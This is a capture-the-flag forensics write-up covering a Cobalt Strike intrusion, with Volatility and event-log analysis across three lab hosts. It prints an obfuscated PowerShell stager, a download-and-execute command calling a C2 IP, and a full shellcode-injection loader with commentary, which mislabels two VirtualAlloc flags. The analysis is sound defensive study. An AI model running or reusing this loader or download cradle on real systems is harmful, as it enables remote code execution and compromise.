HKU Forensics CTF Write-up

Incident Response - WEF

Cobalt Strike beacon process id

Do you identify the Cobalt Strike beacon connected to the C2 IP on the Memory of device WEF? What is this beacon's process ID?

The spawn process: rundll32.exe

image-20240413230219578

Find the process id of CS beacon:

# Use the netscan plug-in to analyze the memory image file named data.lime.
$ vol -f data.lime windows.netscan > netscan.log
# Find processes.
$ cat netscan.log | awk '{print $8}' | grep exe | sort -u
chrome.exe
lsass.exe
osqueryd.exe
rundll32.exe
svchost.exe
# Find destination ip addresses.
$ cat netscan.log | awk '{print $5}' | sort -u
*
0.0.0.0
127.0.0.1
16.162.60.222
192.168.56.102
192.168.56.103
192.168.56.104
192.168.56.105
3.93.196.132
34.202.6.140
40.83.240.146
40.83.247.108
69.74.145.97
::
ForeignAddr
# Find 3.93.196.132 might be the remote controller.
$ cat netscan.log | grep 3.93.196.132
0xd88089bccd00	TCPv4	192.168.56.103	53839	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-08 06:54:45.000000
0xd8808dcb1680	TCPv4	192.168.56.103	55785	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-08 06:56:39.000000
0xd8808ea3f010	TCPv4	192.168.56.103	59841	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-09 03:25:10.000000
0xd8808fb5b6c0	TCPv4	192.168.56.103	59840	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-09 03:25:09.000000
0xd8808ff2c320	TCPv4	192.168.56.103	53958	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-08 06:54:51.000000
0xd8809067d490	TCPv4	192.168.56.103	55615	3.93.196.132	80	CLOSED	5408	rundll32.exe	2022-03-08 06:56:28.000000

Cobalt Strike payload type

One the device WEF, a Cobalt Strike beacon was identified on Memory. Please run 1768.py against RAM and review the result; What is the Cobalt Strike payload type?

image-20240413230241182

Brute Force

Trace the remote IP address that attempted multiple failed logins using the account 'dulci.bernice' on the device 'WEF' on March 8, 2022.

Key information for filtering:

  • account: dulci.bernice

  • time: 03/08/2022 - 03/09/2022

  • category: logon, failed

image-20240413231753437

Time: 1PM = 13 (Local) => 13-8 = 5 (UTC)

image-20240413231700830

Remote ip address = 192.168.56.104

Privilege escalation

2022-03-08 05:25:01, the CS beacon 'C:\windows\system32\rundll32.exe' attempted to read the memory of 'C:\Windows\System32\lsass.exe', possibly extracting cached credentials. Following this, at 05:25:38, an Event ID 4624 of type 9 logon occurred using 'jonell.kirk' credentials, likely indicating a pass-the-hash attack. Determine the LogonProcessName associated with this event.

image-20240413233856838
image-20240413233713259

Incident Response - DC

Cobalt Strike C2 IP

On the device DC, a suspicious process has been connected to a Cobalt Strike C2 IP on 2022-03-25; what is the IP address?

Cobalt Strike Service

On the device DC, the Windows event log EID 7045 shows that a suspicious service was installed in the system on 2022-03-08 05:41:00 (UTC); which user ID is associated with this event?

  • Event ID: 7045
  • Time: 5 + 8 = 13 UTC

Find the installed service when a new process has been created:

image-20240414003227574

Find the service installing procedure:

image-20240414003621972
image-20240414003519886

But this is not EID 7045. So, what is the difference between EID 4697 and 7045?

  • 4697: A service was installed in the system.

  • 7045: A new service was created on the local Windows machine. => Check file: System.evtx

image-20240414005606919

Lateral movement

On the device DC, a compromised account remotely network logon the host on 2022-03-08 05:40:39 (UTC); what is the remote IP?

image-20240414004943341

Remote IP Address = 192.168.56.103

Obfuscated PS command

On the device DC, there is an obfuscated PowerShell command on 2022-03-25 07:49:31. Please decode it and input the pipe name.

  • 2022-03-25 07:49:31 => 07+8-12 = 3 PM
  • powershell command
  • obfuscated
image-20240414010108467
image-20240414010053060
image-20240414010214681
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1W73PaOBP+HP4KfciM7SlQErg09KYz5TfmBUJimtJyDCNkGUyEBZJscK7939+VjTl6Td63M3eZYSJLu6vdZ5/dlUNVwVHCJ2rAXYoKj1RInwfoOpe7bHJboQ/oo5HzwoAova0X8yVV863gZI5dV1Ap0Z+5ixEWeIPMywiL+Ya7IaN5lHxoQeqGgloXF7mLZCsMJPboPMDKj+h8Q9WKuxIuMqe17bbJN9gPZu/fN0IhaKDS72KHqpqUdLNgPpWmhb6hzysqaOFusaZEoT/R5bzYYXyB2VEsbmCygoBqgavP+pxgHUHR2TJfmcYffxjWtHA1K7Z2IWbSNJxYKropuowZFvpu6QvH8ZaaxsAngkvuqeJnPyhfFz8l3g8T5wep74Z1jGy5xRDH60Fqq6mOacByBNjUUgyNPJrq+6azGfp48uYhDJS/oUU7UFTwrUNF5BMqi10cuIw+UA/UDAnpC5aGBU4IqkIRoMwX0Iv4EzUvg5CxPNid/qrdmTmk+wzcX1Uyz5VAaqSElT9y4lfgGCS8Sc1BOD95f0YuC/5+IpiV+557gaouZXSJFZ0rwPeMq7mLi2mypBCPOeLST/Q+oFIeDcAJrLiIdTrHIqTW7K/8pNdmmjL/qqGrTOuok6Yn9eMDmj5y353lLqzckT16f74IfeZSoc9fr4Ym9fyANuMAb3ySEd58KWfUYzTBo5iJDcFP0zgeULd5RMfQgE5/VmttfHXSrafO1QjkXYJXQAnrR2fSHJqGHQzoBvBLv4Gmlx6UGc2kj6UVZ7frb83lBsNS5tEohDoneeRQzKibR7VA+sejWqh4sjT+cncQMuUTLFVmbma9AOnx6gYPoGJCAtkFGMbOlhIfM41KHnV9l9Zjx19mLhgvYtLAjEHJgaUIcgI7GgtHac4IN/93flhFhyp7s2V0A9JJF2ozvISec6yohG54SV3jf7id1UlaFBqrDKQzp4EADuMqjx59oaCvGfmfiPfP3PuxxfzgZkPQYyLNpBCn9VjpckkkiR4uH05YJsgJBai1Bd/UsaQ3FSdpY6ZRvg13djxY39+ITitqd3fd1hh+EfzKu3ar3+89bOsPfdIK70bdUs+z72+blXAf2uG4Xiq3SyD3vOu0PDu641+uwk3lyt3a0RD25LtdVzbtqFnrXu94+2bpV492Uv37xf5qMbHb7xaddqX7KNtavmtH9fauUeWwfmtHDd4DvdubbVDfuxXa6t3QSZ/sy+qW4uUh/s/jm1Y47H0pyfUAYnCqz6TXGPbsknq3Kjc75dHX55jLtR0Pf2uF25g8yfVTTNZOfDfuxSD39MQcp35wrr+O3448Ug3u+HDv9uxyu98oHejefb7ehsPJ+NPT2nFA/ka0+d2nYCc7y4oT8smeRLB/5TjuwYXAokn8pTzC3N2T52Q/HjTh7vMzwIeUd53bLsQV1OO+2PkEMCfdQdxfxSMnsem2ovW1984D/0vOm89X226XVHcgf7OK6rHEFUaenOrd5+VkQqrq0K0/j/pk+EzK3erb5qQ6dtiw413VHx4f64/3tYrTXH25ay8r49aqdt+Ohy4fs5Zml8cFzIuD7sG/I/hfYAqd+AOsAULq/TdvLN3HTyfTy8Msm7un78LiANbKv2kuJicRPmPga8NsgIVcYQbMhIGUtZM2F+3jWBlxX2uY5ssvoScqAsrglQDviKwIa4xxogfhKxMJxnI6LGfQbD7Bsnz94spCJ0GYfmlMi9DzkmFxjDCbmZng+/dfIbz8GYh9GizVKo9Kh3KpVNL/KyUr9+uwNPg2Nk/m8npYnnlyfhNLbrKO6Isw2NB/MQE/XPr/odXgJfP2BF3i0Mt4WTnjYy5ne+hsX/rP8JqkO3SbcE8qLFRhzRfw9Ex6qXmJLWS3JugSo++oAOHVZPka3p9iGerGitLn9De0x36q+A09UELhOVTo8QWwlMJ81KYTI1oY9v4LmokEVp8LAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The code is gzip archived and then base64 encoded.

image-20240414011550228

Analyse this powershell script: Get another base64 encoded and xor encoded string => decode to get the shellcode:

image-20240414012803709

Incident Response - Win10

Bad URL

On the device win10, a malicious PowerShell command was executed on 2022-03-08, powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://xxx')); What is the bad URL?

Powershell history file: %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

powershell -ep bypass
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://3.93.196.132:80/a'))"
powershell -ep bypass
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://3.93.196.132:80/a'))"

Patient 0

On the device win10, which user executed the malicious powershell command on 2022-03-08? Please input the user id

In Windows systems, the default storage location for security logs is within the Windows Event Log database, not as a simple text file. These logs are typically not accessed directly as files but through tools like Event Viewer. However, the actual data for the security logs is usually stored in one or more binary files at the following path:

%SystemRoot%\System32\winevt\Logs\Security.evtx

Here, %SystemRoot% usually corresponds to the Windows directory on the drive where Windows is installed (typically C:). For example, if your Windows installation is on the C: drive, then the full path to the security log would typically be:

C:\Windows\System32\winevt\Logs\Security.evtx

Please note that directly manipulating or editing .evtx files is generally not recommended, as this could corrupt the log files and prevent you from viewing them normally through Event Viewer. If necessary, you can export the logs using Event Viewer, which would give you a readable .evtx or .csv file, suitable for further analysis or archiving. The exported log file can be saved to any path you specify.

If you need to view or process these event logs within PowerShell, you can use the Get-WinEvent or Get-EventLog commands. For example, to retrieve events from the security log, you could use the following command:

Get-WinEvent -LogName Security

Alternatively, for specific queries, such as locating events from a certain date, you can construct more detailed queries. However, since these commands read data directly from the event log database rather than from a file path, you usually do not need to know the actual path of the .evtx file.

$ find . -name Security.evtx
./files/C/Windows/system32/winevt/logs/Security.evtx
image-20240408164056182

Event Log Explorer:

image-20240413192110944
image-20240413192201148

Remotely RDP logon

On the device win10, threat actor (TA) interactively logon win10 from a public IP address by using account 'jacki.alvinia', what is TA's IP address?

image-20240413194219568
image-20240413194204247

TA's IP Address: 3.1.248.118

Failed logon

On the device win10, there are 7 times failed network logon of user 'jacky.alvinia' on 2022-03-04; What is the remore IP?

image-20240413194614573
image-20240413194540246

Remote IP = 45.114.5.49


Appendix

Analyse the PowerShell Script of Shellcode Injection

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY0sjMyMjS9zcJCNJI0t7h3DG3PZzyosjIyN5EupycksjkycjSyOTJyNJIkklSSBxS2ZT/Pfc9nOoNwdJI3FLC0xewdz2puNXTUkjSSNJI6rFoOUnqsGg4SuoXwcvSSN1SSdxdEuOvXyY3PaodwczSSN1SyMDIyNxdEuOvXyY3Pam41c3qG8HJ6gnByLrqicHqHcHMyLhyPSoXwcvdEvj2f7f3PZ0S+W1pHHc9qgnB6hvBysa4lckS9OWgXXc9txHBzPLcNzc3H9/DX9TSlNGf1BRVVBVQA4SDhYOFg4TEhAQFyNdoTlE')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
	IEX $DoIt
}

Dynamic Function Loading and Invocation

  • The script defines two functions, func_get_proc_address and func_get_delegate_type, for dynamically loading and invoking Windows API functions.
    • func_get_proc_address retrieves the address of a function in a specified module using reflection to call the GetProcAddress and GetModuleHandle methods.
    • func_get_delegate_type creates a delegate type, allowing these addresses to be converted into delegates that can be directly invoked in PowerShell at runtime.

Code Decryption and Execution

  • $var_code is initialized as a byte array decoded from a Base64-encoded string. This string likely contains compiled machine code (i.e., shellcode).
  • A simple decryption process is performed by XORing each byte in $var_code with the number 35 (-bxor 35).

Memory Allocation

  • $var_va is a delegate obtained using func_get_proc_address to get the address of the VirtualAlloc function from kernel32.dll, which is then converted to a delegate callable from PowerShell.
  • $var_buffer is created by invoking the $var_va delegate. This delegate calls the VirtualAlloc function to allocate memory in the virtual memory space of the process. The parameters include:
    • [IntPtr]::Zero: No preferred starting address for the reserved memory.
    • $var_code.Length: Requesting memory space equal to the size of var_code.
    • 0x3000: Memory protection options, indicating that the allocated pages are executable, readable, and writable.
    • 0x40: Allocation type, indicating that the memory pages are physically committed and initialized to zero.

Shellcode Injection and Execution

  • The decrypted shellcode ($var_code) is copied into the memory allocated by VirtualAlloc ($var_buffer) using [System.Runtime.InteropServices.Marshal]::Copy.
  • The $var_runme delegate is created using func_get_delegate_type, pointing to the memory address allocated by VirtualAlloc (now containing the shellcode). This delegate is designed to call a function with no parameters.
  • $var_runme.Invoke([IntPtr]::Zero) invokes this delegate, effectively executing the injected shellcode.

Summary

In this code, $var_buffer is a critical variable representing a pointer to the memory allocated by VirtualAlloc. This memory is used to store and execute the decrypted, potentially malicious shellcode. The entire process involves advanced techniques, including the use of system API calls via reflection, dynamic type generation, and direct memory manipulation, commonly seen in malicious scripts or advanced persistent threat (APT) attacks.